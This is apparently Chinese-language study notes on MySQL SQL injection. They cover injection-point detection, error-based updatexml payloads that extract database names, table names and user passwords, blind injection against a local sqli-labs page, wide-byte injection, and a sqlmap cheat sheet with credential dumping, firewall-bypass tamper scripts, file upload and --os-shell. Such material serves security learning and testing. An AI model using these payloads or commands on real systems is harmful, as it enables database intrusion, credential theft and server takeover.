常用函数
SQL注入步骤
联合查询注入
函数与报错注入
SQL盲注
宽字节注入
sqlmap工具
常用函数
常用系统函数
基础信息函数 | 功能 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | 数据库版本 |
@@datadir | 数据库路径 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 操作系统 |
count() | 返回执行结果数量 |
sleep(s) | 将程序暂停s秒 |
相关函数演示
其他常见函数
字符处理函数 | 功能 | 举例 |
---|---|---|
重点 concat() |
没有分隔符地连接字符串 | select concat(c1,c2) from xxx |
重点 concat_ws() |
指定分隔符地连接字符串 | select concat_ws(‘:’,c1,c2) from xxx |
重点 group_concat() |
以逗号分隔某列/组的数据 | select group_concat(c1,c2) from xxx |
load_file() | 读取服务器文件 | select loadfile(‘/tmp/a.txt’) |
into outfile | 写入文件到服务器 | select ‘xxxx’ into outfile ‘/tmp/a.txt’ |
ascii() | 字符串最左侧的ASCII代码值 | select ascii(‘a’) |
ord() | 返回字符串第一个字符的ASCII值 | select ord(‘abc’) |
char() | 返回ASCII值对应的字符串 | select char(97) |
mid() | 返回一个字符串的一部分 | select mid(‘abcde’,1,1) |
substr() | 返回一个字符串的一部分 | select substr(‘abcde’,1,1) |
length() | 返回字符串的长度 | select length(‘abc’) |
left() | 返回字符串最左面几个字符 | select left(‘mysql’,2) |
floor() | 返回小于或等于X的最大整数 | select floor(5.1) |
rand() | 返回0-1间的一个随机数 | select rand() |
if() | 三目运算 | select if(1>2,’A’,’B’) |
strcmp() | 比较字符串ASCII大小 | select strcmp(‘c’,’b’) |
ifnull() | 参数1为不null则返回参数1,否则参数2 | select ifnull(null,2) |
相关函数演示
Length(str)函数:返回指定字符串的长度
Ps:length里面放一个字符串,如果放置表达式的话,需要用括号括起来
Substr():返回截取的字符串
SUBSTR (str, pos)
截取从pos位置开始到最后的所有str字符串
SUBSTR (str, pos, len)
参数说明:
str为列名/字符串;
pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
len为截取字符个数/长度。
Ascii(str):返回指定字符串最最左侧的字符的ascii的值
对于数据的导入导出需要使用如下命令查看
show variables like '%secure_file_priv%';
SQL注入步骤
确定所有可能的输入方式
Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单;
另外,攻击者可以通过隐藏的 HTML 表单输入、HTTP 头部、cookies、甚至对用户不可见的 后端AJAX 请求来跟 Web 应用进行交互。
一般来说,所有 HTTP 的 GET 和 POST 都应当作用户输入。
为了找出一个 Web 应用所有可能的用户输入,我们可以求助于 Web 代理,如 Burp 等。
查找可以用于注入的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。多多留意 Web 应用的错误页面
1.数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1
判断数字型漏洞的 SQL 注入点:
① 先在输入框中输入一个单引号 ‘
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1’,
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。
③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
2.字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。
假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = ‘admin’
判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 admin’ 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = ‘admin”。
页面异常。
② 输入:admin’ and 1 = 1 –+
注意:在 admin 后有一个单引号 ‘,用于字符串闭合,最后还有一个注释符 –(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 –+
页面显示正确。
③ 输入:admin’ and 1 = 2 –+
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 2 –+
页面错误。
满足上面三个步骤则有可能存在字符型 SQL 注入。
联合查询注入
information_schema库
函数与报错注入
updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #
盲注
布尔盲注原理
只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否
时间盲注原理
语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行
实例
判断闭合函数:
通过如下sleep函数可知闭合函数是单引号’ ’
http://localhost/sqli/Less-8/?id=1' and sleep(5) --+
求当前数据库长度:
http://localhost/sqli/Less-8/?id=1' and length(database())>2 --+
判断数据库名长度大于2
求当前数据库对应的ascii码:
http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>100 --+
判断当前数据库名第一个字符的ascii码大于100
求表的数量:
http://localhost/sqli/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>1 --+
判断表的数量大于1
求表名的长度:
http://localhost/sqli/Less-8/?id=1′ and length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))>2 –+
判断第一个表名的长度大于2
判断表名:
首先判断第一个表的表名
http://localhost/sqli/Less-8/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>100 –+
判断第一个表的第一个字符的ascii大于100
宽字节注入
条件:1.数据库采用GDK字符集
2.网站将引号转义为反斜杠加引号
原因:GBK双字节编码中用两个字节表示一个汉字
首字节范围:0x81-0xFE
尾字节范围:0x40-0xFE(除0x7F)
反斜杠(\)对应编码为0x5c
SQLmap工具
sqlmap支持五种不同的注入模式:
基于布尔的盲注:可以根据返回页面判断条件真假的注入;
基于时间的盲注:用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询的注入:可以使用union的情况下的注入;
堆叠查询的注入:可以同时执行多条语句的执行时的注入。
常用sqlmap参数:
-D 数据库名 -T 数据库表名 -C 数据库列名 -U 数据库用户名
-D 数据库名 --tables #获取D数据库中所有的表名
-D 数据库名 -T 表名 --columns #获取D数据库中T表里所有的列名
-T 表名 -C username,password --dump #下载T表里username,password列的数据内容
-u #-u=--url=URL ,指定url地址,get请求可以在url加上相关参数
-r #指定加载文件 ,适用于所有的请求和https。 流程是抓包、保存到文件、从文件加载HTTP请求;方便跳过设置一些其他参数(cookie,POST等)
-p #指定用url或文件中的哪个参数做注入参数
-m #读取文件中的url列表以批量测试
--date #post方式传入参数 --date "id=6&pwd=15678"
--dbs #显示所有的数据库
--current-user #获取当前数据库用户
--current-db #获取网站当前数据库
--is-dba #判断当前的用户是否为管理员
--users #获取所有数据库用户
--level #测试的等级(1-5,默1),数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk #测试的风险(0-3,默1),1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
--threads #同时执行测试的线程数
--mobile #模拟测试手机环境站点
--batch -smart #不需要人确定,自动填写yes
--batch -smart #全自动化判断测试,不需要人确定
--os-shell #获取系统交互的shell
--tamper " " #sqlmap绕过waf,需要加载绕过方式脚本,可多个
--passwords #尝试解码出hash密码原文
-v #输出信息级别: 0-6 ,
“0”只显示python错误以及严重的信息;
1同时显示基本信息和警告信息(默认);
“2”同时显示debug信息;
“3”同时显示注入的payload;
“4”同时显示HTTP请求;
“5”同时显示HTTP响应头;
“6”同时显示HTTP响应页面;
如果想看到sqlmap发送的测试payload最好的等级就是3。
--file-read #读取服务器上指定文件内容 --file-read "C:/example.exe"
--file-write #上传本地文件 --file-write "c:/1.txt" --file-dest "C:/php/sql.php"
--file-dest #上传到服务器指定目录
一般的SQLMap操作流程:
# 1.通过手工检测的方式,找到合适的注入点
payload:' #返回错误
payload:and 1=1 #返回正常
payload:and 1=2 #返回错误
##满足以上条件即存在注入
# 2.检查注入点:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --level3
# 3.爆所有数据库信息:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --dbs
# 4.爆当前数据库信息,爆当前用户权限。
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --current-db --is-dba
# 5.指定库名列出所有表:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch -D security --tables
# 6.指定库名表名列出所有字段:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch -D security -T admin --column
# 7.指定库名表名字段dump出指定字段:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch -D security -T admin -C name,pswd --dump
# 8.加载脚本绕过防火墙
sqlmap -u "http://xxx:88/product.php?cid=2" --tamper randomcase.py
# 9.爆当前的用户名称
sqlmap -u "http://xxx:88/product.php?cid=2" --current-user
# 10.爆当前用户密码
sqlmap -u "http://xxx:88/product.php?cid=2" --passwods
# 11.连接系统交互shell
sqlmap -u "http://xxx:88/product.php?cid=2" --os-shell